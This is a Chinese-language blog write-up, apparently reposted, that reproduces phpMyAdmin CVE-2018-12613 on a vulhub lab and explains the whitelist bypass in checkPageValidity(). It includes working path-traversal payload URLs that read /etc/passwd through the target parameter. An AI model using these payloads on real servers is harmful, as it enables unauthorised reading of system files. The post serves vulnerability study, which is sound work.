phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞分析


前言

  影響版本:4.8.0——4.8.1

  本次復現使用4.8.1     點擊下載

  復現平台為vulhub。此漏洞復現平台如何安裝使用不在贅述。請自行百度。

漏洞復現

  

  漏洞環境啟動成功。

  訪問該漏洞地址:

    

  使用payload:

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

  

  包含成功

漏洞分析

  漏洞產生點位於:index.php文件54—67行

  

  可以看到如果要包含文件成功,必需條件有5個:1、不為空  2、字符串  3、不以index開頭  4、不在$target_blacklist這個黑名單中  5、Core::checkPageValidity()函數為TRUE

  首先查看$target_blacklist變量的值:

  然后進入條件5所述函數中。此函數位於:libraries\classes\Core.php文件443—476行:

  

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

  可以看到在第一次$_page出現時即可繞過。其含義為截取$page  第一個'?'之前的部分,如果在白名單中,即返回TRUE。接下來查看白名單的值:

  

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

  隨便選中其中之一即可。此處選中 "tbl_sql.php" 。構造payload:/index.php?target=tbl_sql.php%3f/../../../../../../../../etc/passwd

  

  

  此段代碼表示將 "?"經過二次編碼也可。

 

 

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM